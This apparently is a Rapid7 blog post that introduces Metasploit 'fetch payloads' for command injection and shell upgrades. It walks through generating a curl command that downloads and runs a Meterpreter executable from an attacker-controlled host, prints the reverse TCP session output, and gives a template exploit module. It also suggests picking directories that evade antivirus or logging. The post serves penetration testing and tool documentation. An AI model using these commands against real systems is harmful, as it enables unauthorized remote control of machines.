Last updated at Thu, 18 Jan 2024 21:56:33 GMT
Over the last year, two-thirds of the exploit modules added to Metasploit Framework have targeted command injection vulnerabilities (CWE-94: Improper Control of Generation of Code). In the process of helping new and existing open-source contributors learn how to use Metasploit’s command stager toolset, we’ve recognized that while they’re powerful, command stagers have a high learning curve.
So, we added a new type of payload to help contributors move as quickly as possible from vulnerability to module and users to have more control over the commands executed. We’re pleased to announce the availability of fetch payloads, which simplify and replace some of the command stager use cases, providing for faster, more intuitive command injection module development and offering a useful new on-the-fly hacking tool.
Fetch payloads are command-based payloads that leverage network-enabled commands (cURL
, certutil
, ftp
, tftp
, wget
) on remote targets to transfer and execute binary payloads quickly and easily. Previously, some of the functionality of fetch payloads could be accomplished within an exploit module by using command stagers, but fetch payloads give greater flexibility for staging payloads with network-based commands and allow command staging of payloads independently from Metasploit modules.
Command stagers are still the correct choice for staging payloads through commands that do not use networking, like echo
or printf
, but otherwise, we encourage you to check out fetch payloads when you write your next command injection module—or the next time you need to upload and execute a payload when you already have a shell on a target. You may have performed this manually in the past using Python’s built-in HTTP server, msfvenom, and Metasploit Framework. Now we do it all for you.
Fetch payloads have two core use cases: gaining a Metasploit session from a shell and embedded in command injection exploit modules. We explore both in more detail below.
Using Fetch Payloads Manually From A Shell
In this use case, we will upgrade a shell on a host (any shell, not just a Metasploit Framework shell) to a Metasploit session.
The shell session:
tmoose@ubuntu:~/rapid7/metasploit-framework$ nc -lv 10.5.135.201 4585
Listening on ubuntu 4585
Connection received on 10.5.134.167 64613
Microsoft Windows [Version 10.0.17134.1]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\msfuser\Downloads>
Now, hop over to a Metasploit Framework instance reachable by that host and set up a fetch payload. You’ll need to decide five things:
The protocol you want to use (HTTP
, HTTPS
, and TFTP
are currently supported)
The binary Metasploit payload you want to deliver
The command you want to use on the remote host to download the payload
The IP:PORT
you want to use to serve the binary payload
The IP:PORT
you want the binary payload to use
The first two items above determine the fetch payload we want to use: we are using cmd/windows/http/x64/meterpreter/reverse_tcp
which will host a windows/x64/meterpreter/reverse_tcp
binary payload on an HTTP server. We’re almost halfway done just by selecting the payload!
You can visualize the fetch payload names like this:
Command payload | Platform | Networking Protocol | Underlying payload |
---|---|---|---|
cmd/ |
windows/ |
http/ |
x64/meterpreter/reverse_tcp |
The other three values are set as options within the payload. We will use the default ports and leave the default command as the cURL
command, so we just need to set LHOST
for the payload to call back and FETCH_SRVHOST
to tell the command where to call back and Framework where to host the payload:
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME NdqujpmEtq no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
View the full module info with the info, or info -d
command.
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
That’s it—no more setup unless you want to customize further. You can see that there are other options: FETCH_DELETE
will attempt to delete the file after it executes, and the options FETCH_WRITABLE_DIR
and FETCH_FILENAME
will tell the fetch payload where to store the file on the remote host (in case there is a safe directory elsewhere that evades logging or antivirus. Users can also change the FETCH_URI
value where the underlying payload is served, but the value is automatically generated based on the underlying payload: If a user creates a fetch payload in msfvenom
and a listener in Framework, the default FETCH_URI
values will match if the underlying payload is the same. Now, just like any payload, we can call generate
or use msfvenom to create the command we need to execute on the remote host:
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > generate -f raw
[*] Command to run on remote host: curl -so %TEMP%\NdqujpmEtq.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\NdqujpmEtq.exe
curl -so %TEMP%\NdqujpmEtq.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\NdqujpmEtq.exe
Also, the command appears when you start the handler:
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so %TEMP%\KphvDFGglOzp.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\KphvDFGglOzp.exe
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /dOVx5JNISsHZ3V06TolS4w
[*] Started reverse TCP handler on 10.5.135.201:4444
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
For fetch payloads, to_handler
does several things:
- Creates the underlying payload in an executable format based on the platform selected; since we’re using Windows, the payload is created as an exe file.
- Starts a server based on the protocol for the specific fetch payload selected
- Adds the executable payload to the server
- Creates a one-liner to download and execute the payload on target
All the user needs to do is copy/paste the command and hit enter:
C:\Users\msfuser\Downloads>curl -so %TEMP%\KphvDFGglOzp.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\KphvDFGglOzp.exe
That will use cURL
to download the payload and execute it:
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
[*] Client 10.5.134.167 requested /dOVx5JNISsHZ3V06TolS4w
[*] Sending payload to 10.5.134.167 (curl/7.55.1)
[*] Sending stage (200774 bytes) to 10.5.134.167
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.167:64681) at 2023-05-18 12:39:12 -0500
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-D1E425Q\msfuser @ DESKTOP-D1E425Q 10.5.135.201:4444 -> 10.5.134.167:64681 (10.5.134.1
67)
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
Using Fetch Payloads in a Metasploit Module
Module authors probably already see the utility in command injection modules. Framework’s command stagers are very powerful, but they also present a non-trivial barrier to entry for the user. Using fetch payloads in a Metasploit module is straightforward; authors will need to set the platform as linux
or win
and add the arch as ARCH_CMD
. Then, when it comes time to get the command that must run on the remote target, simply invoke payload.encoded
. Below is a bare-bones template of a module using fetch payloads against a Linux web server with a command injection vulnerability:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Module Name',
'Description' => %q{ 1337 },
'License' => MSF_LICENSE,
'Author' => [ 'you' ],
'References' => [],
'Platform' => 'linux',
'Arch' => 'ARCH_CMD',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'RPORT' => 80,
'FETCH_COMMAND' => 'WGET'
},
'Targets' => [ [ 'Default', {} ] ],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
Msf::OptString.new('TARGET_URI', [ false, 'URI', '/hackme'])
]
)
end
def execute_command(cmd)
# Whatever it takes to execute a cmd on target
end
def check
# Put your check method here
end
def exploit
execute_command(payload.encoded)
end
end
That’s it. With fetch payloads, Metasploit Framework will set up the server, make the executable payload, start the payload handler, serve the payload, handle the callback, and provide the command that needs to be executed; all you’ve got to do is tell it how to execute a command and then write a check method.
Get it
As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:
If you are a git
user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the binary installers (which also include the commercial edition).